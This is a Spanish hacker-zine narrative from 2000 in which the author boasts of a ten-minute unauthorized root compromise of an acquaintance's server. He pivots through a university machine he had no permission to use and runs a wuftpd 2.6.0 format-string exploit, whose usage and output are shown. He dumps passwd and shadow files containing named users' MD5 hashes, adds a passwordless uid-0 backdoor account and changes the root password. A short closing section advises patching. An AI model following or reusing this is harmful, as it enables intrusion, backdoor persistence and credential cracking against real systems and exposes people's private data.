Alonso Eduardo Caballero Quezada / ReYDeS





	

+------+-------------------------------------------+----------+--------------+
|  +-->|            Root con 10 minutos            |<---------|    ReYDeS    |
+->|<--> r17_06 <-+-----------+-----+--------->+--------------+----------->|-+
   +--------------------------------------------------------------------------


                        |
+----> Advertencia <----+
|                       |

	Todos los  hechos narrados en  el presente texto, han  sido realizados
por el autor  del mismo. RareGaZz - Team, no se  reponsabiliza de lo expresado
en estos codigos ASCII.

|                       | 
+---> Fin de Advertencia+--

  +-------------+
 -+---> INDICE  |
                +-------+
	0000. Minuto 0  |
	0001. Minuto 1  |
	0010. Minuto 2  |
	0011. Minuto 3  |
	0100. Minuto 4  |
	0101. Minuto 5  |
	0110. Minuto 6  |
	0111. Minuto 7  |
	1000. Minuto 8  |
	1001. Minuto 9  |
        1010. Minuto 10 |
                |<------+---
	1011. El bug    |
	1100. Notas     |
  |--+|<----------------+


+----------------------+
|--> 0000. Minuto 0 <--|
+----------------------+

	Instancias Preliminares...

	Parecia un  dia comun,  en el cual  tenia que  madrugar para ir  a mis
clases  matutinas  en  la  universidad.  Y  obtengo  un  root   que  no  habia
planificado; afectado por  diversos factores; como el tener que  ir a clases y 
la falta de tiempo.

	El Objetivo...

	Un server  que estaba en mi  "lista negra" de  servers objetivo, mejor
seria decir  en stand-by. Un server  de un "conocido", bueno  no tan conocido,
pero creo que NO me denunciara por esto. :D

	Lugar, tiempo y epoca...

	Frente a  una PC, un dia de invierno del a~o 2000, y la epoca?... pues
que tal... post-guerra!.


   |
   +--> Vamos con el menjunje este, que es lo que todos estan esperando. Voy a
hacer esto  en forma de una narracion y por alli colocare algunos recortes del 
log  del ingreso. Ademas  los "*"  que aparecen  por alli, los he  colocado yo
exprofesamente, ademas de que algunos IP's han sido manipulados.
         <--+
            |



+----------------------+
|--> 0001. Minuto 1 <--|
+----------------------+

	Caray!... empezamos  con dificultades, dos de cuatro  servers en donde
residen  algunos shells, no  estan funcionando  de la  mejor manera.  Que hago
entonces???... hmmm!...  ya!... como  se me habia  olvidado?, por alli  hay un
servidor  que pertenece a  unos matematicos;  mejor seria  decir; que  sirve a
usuarios  que pertenecen a  una facultad  de matematicas.  Asi es  que CON/SIN
permiso, voy  a tener que hacer uso  de su distinguido servidor  y desde alli,
llegar a mi objetivo.

	Despues de unos telnet's...

> Trying 161.132.23*.***...
> Connected to ****.*****.edu.pe.
> Escape character is '^]'.
> 
> Red Hat Linux release *.* (******)
> Kernel 2.2.12-20 on an i686
> login: ReYDeS
> Password: ******* (ReYDeS) ... jeje (Ustedes creen?)
> Last login: Tue Jul 11 00:17:58 from localhost


	Permiso!,  permiso que  estoy entrando!...  hmm!... este  usuario esta
mejor... con  el otro tenia que  forzar una shell!... ademas  pareciera que me
cambiaron su password. Pero este tiene un poquitin mas de privilegios. :X



+----------------------+
|--> 0010. Minuto 2 <--|
+----------------------+

	Parece ser que  estoy solo!... Asi es que si  hay alguna mujer soltera
de unos 20  a~os, pues enviar su  foto a mi e-mail. Jeje  :)...bueno, bueno me
estoy desviando del tema... eso solo en teoria... 

> [ReYDeS@]$ finger
> 
> Login    Name                   Tty   Idle  Login Time   Office     Office 
> ReYDeS   averiguenlo.            /0          Jul 11 00:07     (localhost) 

	Va!... no perdamos tiempo!... y vamos con lo que quiero hacer hoy. Que
quiero  hacer hoy?...  por aqui  sonaria eso  de; hasta  donde  quieres llegar
hoy?... que?... estoy delirando!, excuse me!.

	Bien, entonces  reviso mi  lista, y tenemos  tres servidores...  voy a
comprobar si  en alguno de  ellos  se encuentra  esta falla; y de  esta manera
explotarlo!. Y se estaran preguntando?... cual es ese bug?... hmmm pues... una
breve explicacion  de este  bug esta en  la penultima seccion,  denominada 'El
bug'. 



+----------------------+
|--> 0011. Minuto 3 <--|
+----------------------+

	Necesito  un compilador...  y  lo obtengo!...chesu!...  que bueno  que
soy!. Bueno, alguien  tiene que darme animos!;  y como no veo a  nadie mas; me
los proporciono  yo. Ahora... voy  a compilar y  a probar. El eterno  ciclo de
prueba y error, y si hay error, vuelve a probar!. 

> [ReYDeS@]$ cc -o bugftp bugftp.c

	Ya esta!... Ahora veamos una peque~a ayuda; tal vez algunos de ustedes
ni se enteraron. :) 

> [ReYDeS@]$ bugftp -help

Usage: ./bugftp -t  [-l user/pass] [-s systype] [-o offset] [-g]
[-h] [-x]
         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target    : host with any wuftpd
user      : anonymous user
dir       : if not anonymous user, you need to have writable directory
...
..
.
systypes:
  0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
  1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
  2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
  ...
  ..
  .



+----------------------+
|--> 0100. Minuto 4 <--|
+----------------------+

	Ya tengo el binario en su lugar... jeje... voy a probarlo. Haber quien
quiere ser primero?...  mejor lanzo mi moneda de  tres caras (imaginensela) al
aire para saber, cual de los tres servers es el premiado.

	Y  el ganador es;... pues  que  casualidad!... el  mismo server  donde
estoy...  tiene la version  del ftp  vulnerable... Bueno,  tal vez  resulte... 
entonces...

> [ReYDeS@]$ ./bugftp  [localhost]

Return Address: 0x08075844, AddrRetAddr: 0xbfffb038, Shellcode: 152

> loggin into system..
> USER anonymous
> 331 Guest login ok, send your complete e-mail address as password.
> PASS 
> 230 Guest login ok, access restrictions apply.
> STEP 2 : Skipping, magic number already exists: [**,**:**,**:01,01:02,04]
> STEP 3 : Checking if we can reach our return address by format string
> **********************
> **********

	Co*o!...  esto no resulto!...  un error  me indica  que no  es posible
obtener una shell... hmmm!... haber, reviso un poco... Ya se que puede ser; la
version del  ftp es vulnerable, pero  la version de RedHat  no corresponde con
alguno de los tipos  de sistemas; bueno, no perdamos tiempo, que  es de lo que
menos dispongo en estos momentos. 

	Que pase el que sigue!... wait....

	Otro!... nada!... que pasa???....  Nuevamente un error, hmm, luego veo
que puede ser. Voy  con el siguiente. Por alli escuche que:  -La tercera es la
vencida!. Ademas, este es el server de un "conocido". 

> Target: 127.0.0.1 (ftp/): RedHat *.* (?) with wuftpd 2.6.0(1)
> from rpm
> Return Address: 0x08075844, AddrRetAddr: 0xbfffb038, Shellcode: 152
> 
> loggin into system..
> USER ftp
> 331 Guest login ok, send your complete e-mail address as password.
> PASS 
> 230 Guest login ok, access restrictions apply.
> STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
> STEP 3 : Checking if we can reach our return address by format string
> STEP 4 : Ptr address test: 0xbfffb038 (if it is not 0xbfffb038 ^C me now)
> STEP 5 : Sending code.. this will take about 10 seconds.
> Press ^\ to leave shell

	Y yo  muy obediente a  las leyes :P...  presiono "^\"... Y  espero con
ansias ese shell root!... vamos... que solo dispongo de pocos minutos....



+----------------------+
|--> 0101. Minuto 5 <--|
+----------------------+

	Segundos despues...

> ^\Linux server 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
> uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

	Eureka!...

	Haber...  ya se  que  tipo de  sistema es;  pues  un linux,  ya se  la
version, pero... quien mas estara aqui?.

	Aqui no  hay un prompt, ni nada  que identifique, pero a  probar se ha
dicho, en teoria tengo un shell... pero no me lo creo :)).



+----------------------+
|--> 0110. Minuto 6 <--|
+----------------------+

> finger
> /bin/sh: ^finger: command not found

	Disculpa?!!... como  de que; command  not found?... nada  es perfecto,
pero... probar un "w", no estaria de mas...

> w
>  6:22am  up 6 days, 10:21,  0 users,  load average: 0.07, 0.03, 0.01
> USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT    

	Solo?... solo!...  para variar;  debe ser la  hora. Tal vez  esten aun
desayunando. Pues creo  que deberian de estar aqui y rapido,  que se me vienen
las ideas no tan decorosas y benevolas.

	Me pregunto!... Y yo solo me respondo. Donde estare?... si, sentado en
una silla... pero aqui  en que directorio estare en el "/"  raiz?. Mejor se lo
pregunto al sistema. 

> ls
> bin
> boot
> dev
> etc
...
..
.
> root
> sbin
> tftpboot
> tmp
> usr

	Todo esta muy  tranquilo... y pensar que esto lo hago  a plena luz del
dia. Bueno; si puede decirse que en las computadoras existe el dia o la noche.
Asi  es que  decido tomarme  un  respiro de  10 segundos  mientras estiro  mis
falanges.



+----------------------+
|--> 0111. Minuto 7 <--|
+----------------------+

	Lo  primero que  se  me ocurre  es ver  el  passwd y  el shadow...  me
pregunto  si   podre  leerlos?...  jeje!,  que   sarcastico!...  siendo  root,
cualquiera, asi que chiste tiene. Vamos a verlos pues.

> cd /etc
> cat passwd

	Y la respuesta no se hace esperar!

> root:x:0:0:root:/root:/bin/bash
> bin:x:1:1:bin:/bin:
...
> ftp:x:14:50:FTP User:/home/ftp:
...
> squid:x:23:23::/var/spool/squid:/dev/null
> dwong:x:500:100:David Wong:/home/dwong:/bin/bash
> mhornae:x:501:100:Marco Antonio Horna Espinoza:/home/mhornae:/bin/bash
> czaval:x:502:100:Cesar Zavaleta:/home/czaval:/bin/bash
> dwong2:x:503:100:David Wong (account 2):/home/dwong2:/bin/bash
> emiranda:x:504:100:Eddy Miranda:/home/emiranda:/bin/bash
> hjqg:x:505:100:Hector Quispe Ganoza:/home/hjqg:/bin/false
> webadmin:x:506:100:Web Administrator:/home/webadmin:/bin/bash
> dwong.lnx:x:507:100:David Wong:/home/dwong.lnx:/bin/bash
> ereyes:x:508:100:Eduardo Reyes:/home/ereyes:/bin/bash
> sergei:x:509:100:Sergio Cabrera Dekovic:/home/sergei:/bin/bash
> efrain:x:510:100:Efrain Berrio:/home/efrain:/bin/bash
> invitado:x:511:100:Invitado al sistema de correo:/home/invitado:/bin/false
> mysql:x:100:101:MySQL server:/var/lib/mysql:/bin/bash
> steppen:x:0:0::/home/steppen:/bin/bash 


	Vamos con el siguiente...

> cat shadow

	Y la respuesta esta vez, me complace mas que la anterior.

> root:$1$Xlcp0.RY$5BMyHtKz4cIAYJmoK1Cx31:11106:0:99999:7:-1:-1:134539180
> bin:*:11058:0:99999:7:::
...
> ftp:*:11058:0:99999:7:::
...
> squid:!!:11058:0:99999:7:::
> dwong:$1$P2lN2fzh$1/mZy9kc91.gAAbGVbPSA/:11132:-1:99999:-1:-1:-1:134539500
> mhornae:$1$YrT5eG7Q$q7cTdqm/pvKnBArwXShJ4.:11060:-1:99999:-1:-1:-1:134539660
> czaval:$1$lKaT9n25$m7bEZTKukMab.Hmce2YGD/:11072:-1:99999:-1:-1:-1:135526780
> dwong2:$1$mphyN2hP$0s8mDSfg.G/Bo2TFtRRcr.:11074:-1:99999:-1:-1:-1:135515748
> emiranda:$1$8ur3B4jA$3Zk6SMDUNM2Rn9KsqGGfM/:11103:-1:99999:-1:-1:-1:134539204
> hjqg:$1$LEJ459eT$es5i1bDWawt.uG.db0AjT.:11087::99999::::134540284
> webadmin:$1$DamkmqnV$f4uWqMdei0YyjaS3szEvS.:11096::99999::::134540284
> dwong.lnx:$1$rwbK4/6g$7b1M4KcQe49tymGfBBF4M0:11105:-1:99999:-1:-1:-1:135513380
> ereyes:$1$OEE3ChzB$7ZG9r5XTFj6GW6tinjJjL1:11118:-1:99999:-1:-1:-1:134539580
> sergei:$1$lI81tyia$Q.apmZJsoirUzUjO6wsa5.:11121:-1:99999:-1:-1:-1:134539556
> efrain:$1$ztZtPlpY$LWf9kKUWg41U3ZYHWRGot1:11144:-1:99999:-1:-1:-1:134539580
> invitado:$1$r5/fnuiw$qnZDjuyPsnDWgd5tmIkS5.:11146:-1:99999:-1:-1:-1:134539204
> mysql:!!:11141:0:99999:7:::
> steppen:$1$KxBOm6OR$Hy0S.4Lnvn5ToF/GoN.wi.:11146:0:99999:7:-1:-1:134540276  


	Hmmm, pero que  veo!... MD5!... mi John The Ripper se va a divertir un
buen rato con este file.



+----------------------+
|--> 1000. Minuto 8 <--|
+----------------------+

	Que  mas?... bueno,  voy  a  colocar una  propagandistica  linea a  su
archivo passwd, para ingresar  como un usuario registrado!... Simple!... hasta
tengo reparos en hacerlo, pues es tan estupido. :P

> echo "ReYDeS::0:0:ReYDeS:/home/reydes:/bin/bash" >>/etc/passwd

	Pero porque  root?... vamos a crearnos  un usuario normal,  no hay que
ser muy ambiciosos. Mira quien lo dice?. :D

> echo "otro::550:100:Averigualo:/home/otro:/bin/bash"

	Visualizo el  archivo /etc/passwd, y  quedo bien con mi  nuevo usuario
ReYDeS. :)

	Que  mas podemos hacer?...  ah!... haber...  que tal  si le  cambio el
passwd a alguno de los usuarios; doy un breve vistazo a los users.. y ya tengo
al  premiado, un tal  sergei. Pero  hombre!... porque  no intentas  cambiar el
password al  root?, al  fin y  al cabo soy  el 'root',  y puedo  tomarme estas
atribuciones que NO me corresponden. :)


> passwd root
>
> Changing password for user root
> New UNIX password: ****** 
> Retype new UNIX password: ******

	El password  es visible  mientras se escribe,  asi es que  no entiendo
porque me pide reescribirlo, que no soy miope ni nada de eso! :D... jeje... 

	No es  nada personal contra el  admin de este  server, simplemente son
cosas que  se me van  ocurriendo y las  voy haciendo. Pero mientras  mas ideas
indecorosas recaen en mi mente...



+----------------------+
|--> 1001. Minuto 9 <--|
+----------------------+

	De pronto... cuando  estaba tan tranquilo, mis oidos perciben un  beep
acompa~ado de: 

> Message from Talk_Daemon@localhost at 06:36 ...
> talk: connection requested by UN-USUARIO@localhost
> talk: respond with:  talk UN-USUARIO@localhost

	:-X... hmmm!!!... que hago?, respondo?...  jeje, pues que co~o, se que
me quiere distraer, pero aun asi, no  estoy haciendo nada malo, al menos es lo
que creo, pero el no sabe que mis intenciones son pacificas. >:)

> [Connection established]

	El  tipo  este, me  pregunta  que estoy  haciendo?...  Como  si no  lo
supiera!...  :D,  le  respondo de  la  manera  mas  cordial posible:  -  Estoy
comprobando la  seguridad del servidor de  FULANO. El responde con  un jeje... 
muy largo  y la coneccion se  va!... diantres!... Pense que  me habian botado,
pero NO!,  no era  eso.  Recuerdan al server  de los matematicos?, pues  es el
culpable... Claro!

> [ReYDeS@] ping ****.*****.edu.pe
> 
> PING ****.*****.edu.pe (127.0.0.1) from 127.0.0.1 : 56(84) bytes of
> data.
...
> 
> --- ****.*****.edu.pe ping statistics ---
> 3 packets transmitted, 0 packets received, 100% packet loss

	No me gusta nada esto, que  habra pasado?, se darian cuenta del uso de
su  server?. Vamos!, que es para  una buena  causa.  Que mejor  causa, que  mi
aprendizaje?. Ademas, que  momento eligen para preocuparse por  su seguridad!. 
:D.  



+----------------------+
|--> 1010. Minuto 10 <--|
+----------------------+

	Trato de  reponer la coneccion, pero  ya es muy  lenta; logro ingresar
una vez mas como un usuario registrado  y me topo con un mensaje de bienvenida
muy   histerico:  "Hacker   en   el  sistema!"   (escrito   en  palabras   mas
antisonantes). Despues de ese recibimiento,  me vuelvo root; pero me desespera
la lentitud de  la coneccion, ademas tenia que  ir a clases, y no  creo que al
profesor  le  guste la  excusa:  -Disculpe  profe,  pero estaba  hackeando  un
servidor. :DDD . Y hablando de eso, pues  se me hizo tarde y no entre a clases
:P, tanto apuro para llegar tarde!... 

	Pierdo  la  coneccion,  intento  logearme,  pero ya  han  cerrado  sus
puertos, telnet y ftp, intento visualizar  su pagina web, y alli esta. Tal vez
unos retoques a  su web no le  hubiesen caido mal, pero no  deseaba hacer nada
de lo que despues pueda arrepentirme.

	Me levanto  de mi asiento; mis  piernas estan adormecidas;  tomo mis 2
diskettes, pienso en una persona,  respiro profundo... y me retiro del resinto
en cuestion. 

10, 9,  8,... 0 segundos...  Y aqui no  ha pasado nada!...  Y si me  acusan de
algo, pues como escuche por alli: - Alega demencia!.



+----------------------+
|---> 1011. El bug <---|
+----------------------+

	Para alcanzar el root, se ha explotado una vulnerabilidad existente en
las versiones del  wuftpd 2.6.0 o superior; del cual  se tenia conocimiento en
circulos muy cerrados y  que recientemente salio  publicado en  diversos sites
sobre seguridad.

	Mediante  la explotacion  de esta  vulnerabilidad; como  yo y  tal vez
muchos de ustedes lo habran  podido comprobar; es posible que usuarios remotos
o locales alcancen  provilegios de root. Ademas de no  ser necesario en muchos
casos contar  con una  cuenta en el  server objetivo,  este puede ser  "ftp" o
"anonymous", de esta forma el ataque puede venir de cualquier lugar en i-net.

	La  solucion a este  problema, pues  lo de  siempre, aplicar  el patch
correspondiente, actualizarse a una version superior o abandonar al wuftpd.

	Mas detalles  sobre esta vulnerabilidad,  en los sites dedicados  a la
seguridad.  Alli encontraran informacion,  como exploits,  mensajes posteados,
recomendaciones, etc. etc.  



+----------------------+
|--->  1100. Notas <---|
+----------------------+

	Como ustedes habran podido constatar,  mi intencion no era la de da~ar
el sistema,  ni cambiar su  web, ni nada  de eso. Tal  vez jorobar un  poco la
paciencia, pero nada mas. Si, si; ahora soy inocente!. >:) 

	A lo mucho; las molestias que  he podido causar son; el haber cambiado
las claves de algunos usuarios y la del root. :D. jeje... Ademas de la adicion
de un  par de  cuentas en su  archivo "passwd"  y el haber  manipulado algunos
procesos.

	Respecto al  sistema, pues... creo que  de ahora en  adelante seran un
poco mas cuidadosos (por no decir paranoicos), con la seguridad.

	Yo  me  despido  hasta  una  proxima  oportunidad.  Espero  que  hayan
disfrutado  la lectura  del presente  texto. Y  no vayan  por  alli explotando
ftp's!... 

	El que sigue...


    +----> | <-+------| -->|<----+
    | ReYDeS | | Peru - A~o 2000 |
  <-+--------+------->|<---+-----+
           +->             |     +->
                           +


                        " Si el dia de hoy, las cosas no resultan como deseas; 
                          no te preocupes!, ma~ana tampoco resultaran!. "

				         			y.o.